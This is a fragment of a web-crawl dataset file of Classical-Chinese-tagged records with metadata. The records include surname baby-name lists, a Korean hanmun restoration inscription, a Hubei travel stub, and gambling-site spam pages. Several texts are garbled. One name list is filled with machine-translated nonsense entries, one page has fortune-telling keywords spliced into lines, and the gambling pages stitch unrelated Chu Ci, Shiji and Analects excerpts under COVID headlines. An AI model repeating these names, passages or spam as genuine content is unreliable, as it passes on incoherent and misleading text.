武帝","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.xbugs.net\/lishihuigu\/489.html","date":"2019-04-25T21:39:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578742415.81\/warc\/CC-MAIN-20190425213812-20190425235812-00096.warc.gz","language":"lzh","language_score":0.9452033639,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.9452033638954163, \"nan_Hani_score\": 0.021044421941041946, \"cmn_Hani_score\": 0.02052881009876728, \"wuu_Hani_score\": 0.012710675597190857}","num_words":968,"character_repetition_ratio":0.012,"word_repetition_ratio":0.0,"special_characters_ratio":0.284,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.958,"perplexity_score":500.0,"cluster_detection":1} +{"text":"据我看来问独一成绩。\n无诞辰很难说简而言之。\n实则,依我看我依然澄清地深思熟虑的。 理解 这孩子时代大了。 问起来 它能通知孩子他们名字的根源。\n侯斌 侯冰 侯兵 侯波 侯畅 侯晨 侯笛 侯方 侯芳 侯飞 侯芬 侯罡 侯广 侯涵 侯华 侯辉 侯佳 侯嘉 侯建 侯杰 侯洁 侯婕 侯婧 侯娟 侯隽 侯军 侯俊 侯坤 侯兰 侯蕾 侯莉 侯黎 侯藜 侯力 侯丽 侯利 侯俐 侯俪 侯炼 侯椋 侯亮 侯琳 侯玲 侯龙 侯露 侯鹿 侯敏 侯明 侯铭 侯娜 侯妮 侯宁 侯凝 侯培 侯彭 侯萍 侯璞 侯倩 侯沁 侯晴 侯琼 侯群 侯冉 侯蓉 侯锐 侯珊 侯诗 侯帅 侯天 侯崴 侯薇 侯巍 侯玮 侯雯 侯曦 侯霞 侯仙 侯湘 侯翔 侯杏 侯旭 侯煦 侯雪 侯妍 侯艳 侯燕 侯野 侯烨 侯怡 侯奕 侯羿 侯毅 侯翼 侯英 侯瑛 侯荧 侯莹 侯滢 侯颖 侯妤 侯宇 侯玉 侯彧 侯钰 侯煜 侯月 侯玥 侯钥 侯悦 侯芸 侯正 侯卓 侯嵫 侯宗 郑爱爱 候爱华 侯爱华 侯爱民 侯爱宁 侯爱宁 华华华 后动词 后动词 后动词 后动词 后白灵 后白洞 侯连莲 侯保安 侯北碑 夏厚斌 夏厚斌 夏厚斌 夏厚斌 侯冰冰 付厚斌 侯宾庆 侯冰彧 侯品之 侯宾军 梁厚斌 后平之 后平之 侯伯连 侯伯明 侯伯军 侯伯同 韩厚波 艾厚波 陶后博 侯伯文 侯柏杨 侯博 余伯玉 侯才 侯才侠 侯才英 侯长安 侯长军 李厚昌 侯长连 后长曲 侯超扇 侯朝春 侯陈宇 杨厚臣 侯晨SE 梁厚成 侯成群 侯平平 侯春明 夏厚春 侯春燕 侯春玉 侯中威 候大齐 厚达古 后大金 侯大明 侯大伟 侯大伟 侯大义 赵大达 侯丹青 侯德龙 候德奇 侯德生 侯老板 侯东岳 侯东人 侯豆 侯简炼的 蔡厚发 候范起 方芳侯 侯方院 侯方兰 夏厚斌 侯丰文 侯丰营 侯丰营 侯复荣 侯伽彧 侯光华 侯广军 李厚光 林厚光 余光宇 侯英英 侯英英 后友镇 侯春园 侯贵州营 侯贵州营 侯贵州营 侯贵州营 侯贵州峡 侯桂英 侯英英 侯国镇 侯国宏 侯国玲 侯国强 余国玉 Hou Hai E 侯海军 林厚海 陶浩海 侯海岩 侯汉博 侯汉雅 侯汉新 侯汉瑟 后浩经 侯浩文 侯浩城 后浩经 侯浩文 侯河徐 侯维菊 侯红英 余宏宇 侯鸿平 侯红对 方厚华 华华华 侯惠春 侯幸福山 后延岩 侯原华 侯云云 侯惠宾 方厚晖 侯惠灵 后会亭 侯吉平 侯吉生 侯继红 侯继红 侯吉乡 侯纪昀 侯家兰 侯家家 侯家凯 侯嘉恋 侯家民 侯家明 侯家木 侯家宁 侯家西 侯家同 侯家尧 侯道具 侯贾谊 侯贾谊 侯家营 侯佳彧 侯家跃 侯家街 侯连莲 侯家斌 侯家成 侯家伟 侯家K 侯嘉恋 侯家新 侯道具 侯家伟 侯建方 侯建江 侯建军 孟后建 侯建民 侯建平 侯建强 侯建伟 余建宇 侯建辉 侯江涛 侯江宁 侯杰涛 Hou Jie佑 后杰寺 后街山 仁厚杰 应后杰 仁厚杰 侯婕彧 后晋方 李落后的 侯金平 夏后晋 侯金焱 侯金 余金玉 后晋歌 侯敬文 陈厚静 后经举 后景美 侯经启 后经俞 后经SE 侯敬文 郝经敬 后经K 李后静 后经俞 后经俞 侯亮杰 后井空 侯静波 后经经 侯敬文 侯经运 后经举 后经举 侯9连 连龙龙 侯9连 后军志 后军会 连后军 Hou Jun扇 侯俊杰 侯浚军 后军岭 何厚义 侯军乡 侯开云 侯可斌 侯可为 侯克的解释者 侯可英 侯可连 侯克满 侯昆侠 侯兰芳 侯兰玉 侯岚雅 侯乐海 侯黎明 侯力洁 侯力静 侯力文 侯力学 侯力泳 侯立强 侯立如 侯立松 侯立文 侯立轩 侯立洲 侯丽达 侯丽弘 侯丽红 侯丽槿 侯李立 侯李玲 侯李敏 侯李娜 侯李强 侯李明 侯李艳 侯李洪 乔礼丽 侯李渊 侯钢 侯连经 侯连莲 侯连蓉 侯郊田 侯连领带 侯连文 后兴兴 侯连雪 侯连义 侯连义 侯连义 叶连叶 侯连之 侯连之 侯亮杰 侯林军 尹厚林 林厚林 侯比例 颜厚玲 余凌宇 侯陵岭 侯凌越 余凌宇 侯柳岩 侯柳青 李厚满 林厚茂 梅美厚 余美玉 侯美浩 侯美玲 侯美娜 侯美英 侯美瑜 侯美彧 侯萌冉 侯模糊的 侯梦菲 侯梦龙 侯梦霜 侯梦阳 侯孟尧 侯庙语 后明光 李厚明 后明美 侯明清 侯明菊 侯明庄 后明宝 余明明 侯明月 侯莫文 Hou Mo雅 侯满文 侯木瑶 侯牧明 侯乃松 侯妮宁 侯泮英 侯培芬 侯培举 小馅饼 侯佩霓 侯佩岑 侯鹏丽 侯得体的 侯聘婷 侯萍萍 侯普薰 侯其兵 侯其炼 侯琦婧 侯琪豪 侯千千 侯芊炼 侯芊伊 侯芊有 侯芊羽 侯骞炼 侯欠仔 侯茜惠 侯茜岚 侯茜妍 侯茜芫 侯倩炼 侯倩倩 侯倩玉 侯倩芸 侯乔伊 侯巧梅 侯子美 后秦春 雷逻辑学 夏庆青 余庆玉 余庆玉 侯庆记 后清梅 侯清喜 后清桥 姚厚清 牟厚清 牟厚清 后清硒 后庆证明 侯清红 侯清龄 余玉宇 侯泉佑 侯任静 侯铁平 高厚荣 侯荣宾 侯鲁豫 后园园 侯雷锋 侯瑞胡安 侯热新 侯瑞英 Hou Lei SE 候烈气 侯如英 后络禅 侯尔金 侯迪格纳姆 侯若熙 侯三川 侯三连 李尚上 侯上跃 韩厚侯 姚情人 情人镇 情人宝 魏情人 情人文 洪厚生 侯施汉 侯世语 侯石 后石河 侯石 后士飞 后石河 侯世明 侯书宁 后书之志 侯书亚 侯舒砚 侯舒砚 厚书岭 侯淑玉 侯淑琴 侯淑婷 侯舒雅 侯树飞 侯树梅 侯树森 侯树毅 侯帅呈 侯双泉 侯丝妍 侯司骐 侯思蕊 侯思廷 侯思婷 侯思阳 侯思怡 侯思懿 侯思妤 侯思羽 侯思远 侯松容 侯苏怡 侯素芬 侯素娟 侯素玲 侯隋珠 侯谭健 侯淘淘 侯体军 侯天池 侯天亮 后田乡 侯田一 侯天SE 侯铁梅 余廷玉 侯廷岳 侯婷婷 侯廷岳 后童园 侯通SE 后湾居 后观一 侯万旗 后湾亭 后湾亭 后湾峪 后湾里 侯维连 候维奇 容伟荣 侯维连 侯维岗 侯维山 侯维同 侯文斌 侯文胡安 侯文俊 李厚文 侯文连 侯文球 侯文亭 侯文文 侯文彦 侯文彦 侯文彦 侯文玉 侯文文 侯文灵 侯文谦 侯文文 阎锡熙 余玉宇 侯西安钟 侯西安峡 侯祥兰 田向祥 侯祥文 侯向勇 侯萧雅 侯萧潇 侯小飞 侯小利 侯孝廉 侯小林 侯小梅 侯孝敏 侯小宁 侯小鹏 侯小雪 侯小英 侯小才 侯小东 侯小东 侯小红 侯孝会 侯小军 侯小利 侯孝廉 侯孝亮 侯小林 侯小陵 侯小梅 侯肖明 侯肖明 侯小宁 侯萧潜 侯小琴 侯孝荣 侯小松 侯孝通 侯孝通 侯小威 侯小霞 侯小雪 侯小燕 侯小英 侯孝远 侯孝迪 侯小军 侯晓SE 侯晓恩 侯小平 侯孝迪 侯新连 侯馨予 侯新岳 侯新岳 侯新岳 侯新宁 朱厚新 侯新岳 侯新燕 侯馨予 侯馨予 侯新岳 后新亚 侯新岳 侯新然 侯新燕 姚新新 侯新新 后新航 侯新军 侯馨予 侯鑫钰 侯新岳 侯兴连 侯兴曰 侯兴兰 余兴宇 余兴宇 侯兴曰 侯兴曰 侯兴曰 侯兴连 后秀芳 侯明闽 侯文文 侯雪岩 侯徐帆 侯徐立 侯徐鹏 侯徐莹 侯新华衙 候雪峰 侯雪玲 侯学文 侯雪冰 侯雪飞 侯学静 侯雪莲 侯雪玲 侯雪梅 侯学威 侯学威 侯雪岩 侯学园 后雅宾 后雅宾 陈厚雅 侯亚尔 韩厚雅 侯雅锦 侯雅明 侯雅南 侯雅琦 后雅婷 侯雅婷 侯雅文 侯雅馨 侯雅 侯雅乐 侯娅胡安 侯亚军 李厚雅 孟厚雅 侯雅星 后雅宾 侯雅文 侯彦超 后延洞 侯燕飞 侯彦嘉 后延同 侯彦益 侯彦益 侯彦军 后彦曲 后延洞 后延信 后延方 侯燕华 后延岩 侯彦南 后延方 秦后燕 侯燕彧 侯杨阳 侯阳斌 侯杨过 侯耀文 侯耀英 侯\n幼崽了解要提示你。:网友回答,仅供参考。","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/www.dcppp.com\/lhdyx\/1469.html","date":"2019-11-22T10:04:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496671249.37\/warc\/CC-MAIN-20191122092537-20191122120537-00440.warc.gz","language":"lzh","language_score":0.6878774762,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6878774762153625, \"nan_Hani_score\": 0.2506992220878601, \"cmn_Hani_score\": 0.058753322809934616}","num_words":781,"character_repetition_ratio":0.016,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.679,"perplexity_score":500.0,"cluster_detection":1} +{"text":"本站提示:以下提供的所有名字僅供參考,並非針對八字分析後的權威結果,請仔細斟酌後在套用。\n宗培書 宗伊凡 宗依梵 宗依凡 宗永斌 宗淑雲 宗紅品 宗琪 宗偉三 宗瑞陽 宗政宏 宗子楠 宗科村 宗書伊 宗江昊 宗亞飛 宗文竹 宗亞蘭 宗原摑 宗政皓 宗玉峰 宗仁華 宗佳逸 宗陳軍 宗陳氏 宗冰冰 宗美伊 宗興旺 宗嘉語 宗弋人 宗紹志 宗少志 宗紹致 宗欣彤 宗佳彤 宗金余 宗金魚 宗剌佃 宗於超 宗施灩 宗志東 宗欣卓 宗楓博 宗芮楊 宗楊楊 宗洋洋 宗淙 宗含 宗沅 宗澤楊 宗澤陽 宗澤一 宗楊辰 宗芸竹 宗奕汝 宗彥汝 宗玫汐 宗科含 宗友璐 宗紅璐 宗宏璐 宗盼盼 宗璐璐 宗小葳 宗秋月 宗樹生 宗欣俞 宗欣彥 宗昕菲 宗奕軒 宗鉦桓 宗奕凡 宗藝凡 宗宜凡 宗益凡 宗培軍 宗英超 宗立鳴 宗邐海 宗金偉 宗明逸 宗俊傑 宗凡祿 宗柔冰 宗洪廣 宗洪勝 宗鈺衡 宗鈺霖 宗渝翰 宗渝霖 宗鈺澄 宗驥雙 宗樹鵬 宗科年 宗樹旺 宗敬 宗田田 宗靄雄 宗文平 宗玟評 宗子越 宗萬通 宗芯羽 宗素珍 宗俐 宗澤昊 宗繼東 宗和洋 宗芯光 宗人 宗程 宗月華 宗柔妤 宗春灩 宗芯彤 宗芯冰 宗妤 宗儀林 宗仁林 宗緒臻 宗嵩 宗間狀 宗偉明 宗堂 宗紹羽 宗三林 宗靜宇 宗學兆 宗林林 宗靜滿 宗淨滿 宗愉茜 宗子良 宗德仙 宗奇 宗廣勝 宗蓴 宗春陽 宗戾海 宗鐵柱 宗陸 宗兆平 宗曉蕾 宗傳奇 宗俊波 宗文軍 宗傳齊 宗金菊 宗東華 宗世元 宗孟源 宗廣德 宗尉 宗海 宗慰 宗俊峰 宗毓麟 宗紹偉 宗志超 宗盼 宗家騰 宗家誠 宗加誠 宗興川 宗愛嘉 宗愛佳 宗亦心 宗佳婕 宗伊寧 宗可寧 宗可菲 宗香雅 宗欽逸 宗佳幸 宗家幸 宗家馨 宗佳馨 宗海 宗慧典 宗梅香 宗玉米 宗麗貞 宗間養 宗春生 宗保順 宗建功 宗皓月 宗豪 宗泰 宗海林 宗林海 宗志偉 宗凱 宗光楷 宗楷 宗冠希 宗大錘 宗梓桐 宗錦濤 宗哲宇 宗志皓 宗劍峰 宗仁元 宗鑫懾 宗凡樂 宗如月 宗廷喜 宗歡迎 宗歡暢 宗鑫毅 宗國輝 宗康 宗於心 宗小帆 宗小梵 宗小凡 宗一帆 宗依幸 宗奕幸 宗奕星 宗香依 宗尹凡 宗於凡 宗也丹 宗匯民 宗凝一 宗可以 宗歡歡 宗思敏 宗思凡 宗以凡 宗宸熙 宗春蓮 宗周 宗嗍 宗賀強 宗周濤 宗大城 宗周際 宗鑫岩 宗發奎 宗振興 宗泳心 宗桂媚 宗文安 宗洪年 宗華新 宗小蘭 宗偉繼 宗慢 宗鐵 宗勝威 宗澤楠 宗亮亞 宗海江 宗謙誠 宗奕海 宗霖睿 宗睿霖","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/dr.itsfun.com.tw\/xingming\/mzdq\/5762.html","date":"2020-03-28T11:50:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370491857.4\/warc\/CC-MAIN-20200328104722-20200328134722-00062.warc.gz","language":"lzh","language_score":0.9815914631,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9815914630889893}","num_words":260,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.981,"perplexity_score":500.0,"cluster_detection":1} +{"text":"红葡金网址仅仅9天!瑞士新冠肺炎确诊人数从1万升至2万\n子曰:\"晏平仲善与人交,久而敬之。\"\n四年,晋昭公卒,其六卿\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n七年冬,上自往击,破信军铜鞮,斩其将王喜。信亡走匈奴。其与白土人曼丘臣、王黄等立赵苗裔赵利为王,复收信败散兵,而与信及冒顿谋攻汉。匈奴仗左右贤王将万馀骑与王黄等屯广武以南,至晋阳,与汉兵战,汉大破之,追至于离石,破之。匈奴复聚兵楼烦西北,汉令车骑击破匈奴。匈奴常败走,汉乘胜追北,闻冒顿居代谷,高皇帝居晋阳,使人视冒顿,还报曰\"可击\"。上遂至平城。上出白登,匈奴骑围上,上乃使人厚遗阏氏。阏氏乃说冒顿曰:\"今得汉地,犹不能居;且两主不相戹。\"居七日,胡骑稍引去。时天大雾,汉使人往来,\n文公元年,取蔡女,生子佗。十年,文公卒,长子桓公鲍立。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/hmjyz.8888inn.com\/qfkmb\/97776.html","date":"2020-04-04T20:34:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370525223.55\/warc\/CC-MAIN-20200404200523-20200404230523-00193.warc.gz","language":"lzh","language_score":0.4393324852,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4393324851989746, \"cmn_Hani_score\": 0.35994842648506165, \"nan_Hani_score\": 0.08362434804439545, \"wuu_Hani_score\": 0.023337332531809807, \"zxx_Latn_score\": 0.01630636863410473, \"yue_Hani_score\": 0.011036177165806293}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.472,"perplexity_score":500.0,"cluster_detection":1} +{"text":"彩81彩票官网官方网站湖北卫健委回应出院患者复阳不再纳入新增确诊病例中\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限\n七年,齐孟尝君父田婴欺楚,楚威王伐齐,败之於徐州,而令齐必逐田婴。田婴恐,张丑伪谓楚王曰:\"王所以战胜於徐州者,田盼子不用也。盼子者,有功於国,而百姓为之用。婴子弗善而用申纪。申纪者,大臣不附,百姓不为用,故王胜之也。今王逐婴子,婴子逐,盼子必用矣。复搏其士卒以与王遇,必不便於王矣。\"楚王因弗逐也。\n於是济北王以为天子且封禅,乃上书献太山及其旁邑,天子以他县偿之。常山王有罪,迁,天子封其弟於真定,以续先王祀,而以常山为郡,然后五岳皆在天子之。\n三月中,吕后祓,还过轵道,见物如苍犬,据高后掖,忽弗复见。卜之,云赵王如意为祟。高后遂病掖伤。\n子曰:\"可与言而不与之言,失人;不可与言而与之言,失言。知者不失人亦不失言。\"","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/hl4mu.yinhangka8.net\/fxmmf\/946049.html","date":"2020-04-01T08:44:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370505550.17\/warc\/CC-MAIN-20200401065031-20200401095031-00557.warc.gz","language":"lzh","language_score":0.5728814602,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5728814601898193, \"cmn_Hani_score\": 0.31491729617118835, \"nan_Hani_score\": 0.0655212253332138, \"wuu_Hani_score\": 0.010771959088742733}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.504,"perplexity_score":500.0,"cluster_detection":1} +{"text":"和盛贵宾会app埃及阿斯旺7名新冠肺炎感染者治愈出院\n六十四年,景公卒。宋公子特攻杀太子而自立,是为昭公。昭公者,元公之曾庶孙也。昭公父公孙纠,纠父公子珰秦,珰秦即元公少子也。景公杀昭公父纠,故昭公怨杀太子而自立。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n或问禘之说。子曰:\"不知也。知其说者之于天下也,其如示诸斯乎!\"指其掌。\n以摄提格岁:岁阴左行在寅,岁星右转居丑。正月,与斗、牵牛晨出东方,名曰监德。色苍苍有光。其失次,有应见柳。岁早,水;晚,旱。\n田仁上书言:\"天下郡太守多为奸利,三河尤甚,臣请先刺举三河。三河太守皆内倚中贵人,与三公有亲属,无所畏惮,宜先正三河以警天下奸吏。\"是时河南、河内太守皆御史大夫杜父兄子弟也,河东太守石丞相子孙也。是时石氏九人为二千石,方盛贵。田仁数上书言之。杜大夫及石氏使人谢,谓田少卿曰:\"吾非敢有语言也,原少卿无相诬汙也。\"仁已刺三河,三河太守皆下吏诛死。仁还奏事,武帝说,以仁为能不畏彊御,拜仁为丞相司直,威振天下。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/q1o6x.8888inn.com\/yxxmh\/5045321.html","date":"2020-04-06T05:07:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371618784.58\/warc\/CC-MAIN-20200406035448-20200406065948-00447.warc.gz","language":"lzh","language_score":0.4886884689,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.48868846893310547, \"cmn_Hani_score\": 0.2093690037727356, \"nan_Hani_score\": 0.1971813142299652, \"wuu_Hani_score\": 0.03230288252234459}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.427,"perplexity_score":500.0,"cluster_detection":1} +{"text":"固城鄕校重修記 國有學鄕有校 卽斯道尙賴聖哲之敎 未嘗息也 本鄕校一邑之敎宮也 修之學明之學 雉六藝盖自宗周之敎典也 而以學者講修化成備才德 修身齊家治平之資 以開萬世太平之本野 其爲經學之可不盛大乎 故先斯訓世道 蔑貞斯學不振 殿宇傾頹漏庭荒蕪 吾道之慨 斯文痛何可堪勝哉 往年崔典校漢斗時任 校宮憂動惕屬於斯 而分修葺 則未免姑息之計 鄕中衆論必當 全面改修施工 樹百年大策可也 從其議具 其工事計劃書類 請願於政府當局者 凡數十次終及獲得 文化財管理費數億金 以圖域門要衆修者 殿廡堂樓等 凡十一棟八十八餘架也 數年施工制度 切緻工役精密 碧瓦參着 宮殿一新 吾鄕校宮之修至 此完美斯道復明 儒道中興之基 實由崔典校尊衛之至誠也 鄕人士因以請記 其事於余 惟馨洛亦以鄕人所 當稱美者 樂爲書之 此以歸之其功 孔子誕二五四三年 壬申晩秋節 全州 崔馨洛 記 時任郡守 河一淸 掌議 朴敬五 고..","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/blog.daum.net\/win690\/archive\/20200809","date":"2020-09-20T12:06:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400197946.27\/warc\/CC-MAIN-20200920094130-20200920124130-00040.warc.gz","language":"lzh","language_score":0.9219313264,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9219313263893127, \"cmn_Hani_score\": 0.04507661238312721, \"nan_Hani_score\": 0.02939397282898426}","num_words":55,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.922,"perplexity_score":500.0,"cluster_detection":1} +{"text":"湖北,簡稱\"鄂\",省會武漢。位于中國長江中游,洞庭湖以北,水網縱橫,湖泊密布,被稱為\"千湖之省\"。\n想去0\n去過0\n武漢顧問 黃石顧問 十堰顧問 宜昌顧問 襄陽顧問 鄂州顧問 荊門顧問 孝感顧問 荊州顧問 黃岡顧問 咸寧顧問 隨州顧問 恩施顧問 仙桃顧問 潛江顧問 天門顧問 神農架顧問","id":"","dump":"CC-MAIN-2022-33","url":"http:\/\/www.th020.com\/guwen\/s-1-5.html","date":"2022-08-09T17:07:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571056.58\/warc\/CC-MAIN-20220809155137-20220809185137-00225.warc.gz","language":"lzh","language_score":0.7876923084,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7876923084259033, \"cmn_Hani_score\": 0.17906437814235687, \"nan_Hani_score\": 0.013064050115644932, \"yue_Hani_score\": 0.01010260358452797}","num_words":20,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.865,"perplexity_score":500.0,"cluster_detection":1} +{"text":"齊字取名男孩 以齊字劈頭的男孩名字大全\n齊字和什麼字搭配取名好聽?\n齊字劈頭的男孩名字提名 齊貴 齊徇 齊岳 齊志 齊榜 齊滄 齊合 齊達 齊昪\n齊甫 齊俞 齊騰 齊想 齊采 齊堯 齊先 齊炳 齊經\n齊福 齊解 齊若 齊橋 齊營 齊齊 齊灝 齊尋 齊斯\n齊昶 齊斌 齊飆 齊力 齊年 齊列 齊八字 大運 算法蕭 齊實 齊循\n齊迪 齊曇 齊諺 齊弛 齊羿 齊古 齊和 齊群 齊嚴\n齊阜 齊琨 齊臣 齊熹 齊繪 齊牛 齊喆 齊奧 齊合 婚 日期喜\n齊字取名的含義是什麼? 3.4兩八字1、物品的一頭平或排成一條直線:~整。參差不~。\n2、到達,跟什麼通常平:見賢思~。河水~腰深。\n3、同時;同樣;一起:~名。~聲。~心協同。一~向前。\n4、中國周代諸侯國名,疆域在時辰 八字 結婚今山東省北部、東部和河北省的東南部。\n5、全;徹底:~全。人到~了。\n帶有齊字的寶寶名字免費紫微命盤分析 【齊揚】 齊字五行屬金,揚字五行屬火,出自楚辭《九章+哀郢》\"楫齊揚以容與兮,哀見君而不再得。\"寓指齊心協同,斗志振奮,出類拔萃之義。\n【齊昭】 《楚辭·九歌·云中君》:\"靈連蜷兮既留,爛昭昭兮未央。搴將憺兮壽宮,與日月兮齊光。\"","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/myself8.com\/%E7%94%9F%E8%BE%B0%E5%85%AB%E5%AD%97%E9%BD%8A%E5%AD%97%E5%8F%96%E5%90%8D%E7%94%B7%E5%AD%A9-%E4%BB%A5%E9%BD%8A%E5%AD%97%E9%96%8B%E9%A0%AD%E7%9A%84%E5%85%AB%E5%AD%97%E5%AE%B3%E5%B1%80%E7%94%B7%E5%AD%A9\/","date":"2024-04-15T15:21:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817002.2\/warc\/CC-MAIN-20240415142720-20240415172720-00830.warc.gz","language":"lzh","language_score":0.8670269251,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8670269250869751, \"cmn_Hani_score\": 0.08945053815841675, \"nan_Hani_score\": 0.023003464564681053, \"yue_Hani_score\": 0.018733708187937737}","num_words":75,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.298,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.898,"perplexity_score":500.0,"cluster_detection":1} +{"text":"尚姓男孩名字大全属猪\n位列中国百家姓第319位,尚锐铭 尚韵银 尚祉萌 尚天群 尚圣洋 尚晶临 尚淑果 尚熙寓 尚万齐 尚延中 尚霄曦 尚林丹 尚宝德 尚钡奕 尚鹂蓓 尚麒韵 尚理 尚庆荔 尚西昊 尚倔倔 尚爽霖 尚郑烊 尚淳致 尚奕微 尚凯彬 尚时故 尚航连 尚炎兴 尚示谷 尚步利 尚珀漳 尚茂秋 尚鸿煦 尚廷飞 尚艳桃 尚暹 尚余强 尚祁邰 尚飞舞 尚极礅 尚苏斌 尚泽罡 尚祁薇 尚显忠 尚曼君 尚珀霄 尚广疆 尚静毅 尚沛雍 尚璎秋 尚建材 尚懿斯 尚中月 尚寒潇 尚雅弦 尚光勤 尚濡鑫 尚忻恋 尚苑家 尚品朝 尚东奎 尚刚勇 尚婉今 尚里铺 尚月晖 尚大航 尚沁菡 尚容海 尚语洋 尚镘 尚沅海 尚薇芹 尚纲黄 尚睿潇 尚峻曦 尚步荔 尚龙峡 尚效泯 尚驿稀 尚卓心 尚婢叠 尚松枝 尚广令 尚如顺 尚峻皇 尚熙涵 尚轶宸 尚新洲 尚运平 尚润泉 尚耿皓 尚金靖 尚绎哲 尚寅芸 尚芳琪 尚冥翰 尚幽矽 尚渤 尚爱珠 尚睿恺 尚雪刚 尚灵育 尚辰源 尚璐贤 尚良月 尚宁昕 尚殿强 尚超贤 尚鹂王 尚昊明 尚和刖 尚俐灿 尚东骏 尚学羲 尚舍羽 尚电雨 尚海耸 尚五 尚时珍 尚宗路 尚恒沁 尚职显 尚瑾屏 尚俐贞 尚炀旭 尚乐晔 尚陈熙 尚兆元 尚灵渠 尚季然 尚孟锹 尚甘凡 尚明淳 尚力亘 尚希潺 尚汉庭 尚丽镁 